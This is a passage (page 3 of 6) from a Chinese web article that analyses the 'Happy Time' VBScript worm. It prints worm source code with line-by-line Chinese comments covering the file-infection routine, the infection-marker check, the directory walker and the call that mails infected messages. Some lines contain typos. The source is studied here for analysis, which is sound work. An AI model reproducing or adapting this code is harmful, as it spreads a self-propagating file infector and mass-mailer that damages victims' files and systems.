试卷,试题,examination paper.
首 页 论文分类 论文搜索 论文精华 写作指导 友情链接 留言板  
计算机 | 金融 | 经济 | 会计 | 工商 | 财政 | 财务 | 公共 | 管理 | 文化 | 艺术 | 社会 | 教育 | 工科 | 理科 | 文学 | 法律 | 医学
 
     当前位置:首页>>计算机>>计算机应用>>正文
 

欢乐时光代码分析(3)

文章出处:中国论文下载中心   发布时间:2005-11-11

Web = Cs & "WEB"
Set gf = Of.GetFolder(Web).Files
’得到windowsweb文件夹里的文件
Od.Add "htt", "1100"
’向Dictionary里添加htt项目对
For Each m In gf
’遍历windowsweb下的每一个文件
fext = GetExt(Of, Od, m)
’得到每个文件的扩展名
If fext <> "" Then
’如果扩展名不为空,则
Fw Of, m, fext
End If
Next
End If
End Sub
’******************************************************************
Sub mclose() 
document.Write "<" & "title>I am sorry!’写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub
’******************************************************************
Sub Fw(Of, S, n) 
’此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1) 
’只读模式打开该文件
mt = fc.ReadAll 
’读入全部文件流
fc.Close 
’关闭文件
If Not Sc(mt) The
’如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
’打开文件并在文件末尾进行写爱作
fc2.Write mt
fc2.Close
Msend (mmail)
’发带毒邮件
End If
End Sub
’******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then 
’如果读入的文件流中有Rem I am sorry! happy time
Sc = True 
Else
Sc = False
’表示已感染过,返回True,否则为False
End If
End Function
’******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
’初始化变量
If Of.FileExists(S) Then 
’如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
’得到文件的父目录名
fname = S 
’得到文件名
ElseIf Of.FolderExists(S) Then 
’不存在于当前文件夹中,则得到目录名
fpath = S 
T = True
Else
fpath = Dnext(Of, "") 
’得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files 
’得到当前目录下的所有文件对象
For Each m In gf 
’遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then 
’如果该文件是文件集合中的一员
FNext = m 
’则返回该文件名,供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then 
’如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) ’
Loop
End Function
’******************************************************************
Function Pnext(Of, S)
On Error Resume Next

  共6页: 上一页 [1] [2] 3 [4] [5] [6] 下一页   
[返回顶部↑]  
 
 
 
  相关文章
·脉冲功率装置能源计算机
·实时性远程答疑系统
·VB中创建超长时间计时器
·图书馆管理系统
·基于Client/Server 的课
·基于WWW的协同式CAI软件
·数据加密技术
·详解加密技术概念、加密
·信息技术对高校图书馆工
·基于Client/Server 的课
  热门点击
·基于Client/Server 的课
·信息技术对高校图书馆工
·详解加密技术概念、加密
·数据加密技术
·基于WWW的协同式CAI软件
·基于Client/Server 的课
·图书馆管理系统
·VB中创建超长时间计时器
·实时性远程答疑系统
·脉冲功率装置能源计算机